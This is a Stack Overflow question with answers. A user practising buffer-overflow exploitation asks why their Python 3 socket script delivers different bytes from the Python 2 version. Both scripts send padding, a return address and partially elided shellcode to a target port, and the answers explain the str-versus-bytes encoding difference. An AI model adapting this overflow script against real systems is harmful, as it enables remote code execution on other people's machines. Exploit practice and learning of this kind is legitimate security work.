6

I'm practicing some buffer-overflow techniques and I came across an odd issue with sending socked data.

I have this two almost identical codes, except the fact that in Python3 code, I changed the sock.send to encode the string (in Python2 you don't need that)

Python2 code:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close

Python 3 code:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close

I send the buffer and then check the EIP/SEP values with immunity debugger and I see that i'm getting a different values between Python2 code and Python3 code. How is that possible??

The buffer is the same in both of them so the EIP/SEP in the debugger should be the same.

In other words, from the server point of view(which gets the socket-data) looks like it gets a different data structure or something like that.

Any ideas?

Thanks.

2
  • 1
    Try with b"\x70\xfb\x22\x00", i.e. make sure you are using bytes instead of str and then remove the encode(). In Python 3, str is an unicode string and encode() encodes those using the default charset, hence you are not sending the bytes you specify. Commented Apr 8, 2015 at 12:02
  • You are right, thanks. if i place b before any str in that code, it works. I thought "encode()" will convert all of them into bytes. So how to "byte" all of them in one command, instead of b" in every single line? thanks – Commented Apr 8, 2015 at 13:15

2 Answers 2

7

Your server and debugger are right - the buffer content is not the same.

In both python 2 and 3, if you write buffer = "A"*268, the type of buffer is str. However, what str represents is completely different in the two versions.

In python 2, a str is effectively an array of bytes. In python 3, it's a sequence of human readable characters, not bytes (what is called a "unicode string" in python 2)

If you further .encode(), you'll translate the sequence of characters into a sequence of bytes, using utf-8. This "changes the content" of your string, so to speak

What you probably wanted to do is buffer = b"A"*268, which will use bytes instead of str. You'll need to prefix all concatenated byte sequences by b, too

Sign up to request clarification or add additional context in comments.

2 Comments

You are right, thanks. if i place b before any str in that code, it works. I thought "encode()" will convert all of them into bytes. So how to "byte" all of them in one command, instead of b" in every single line? thanks
@user1641071 encode does convert the str into bytes- just not the bytes you want :) I don't think you can declare bytes without the b, nor "convert" if you declare them as str in the first place. But I might be wrong, you should probably ask a new question for that
0

You can use six.b to make it compatible with both python2 and python3:

import six

...
sock.send(six.b(buffer))

https://six.readthedocs.io/#six.b

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.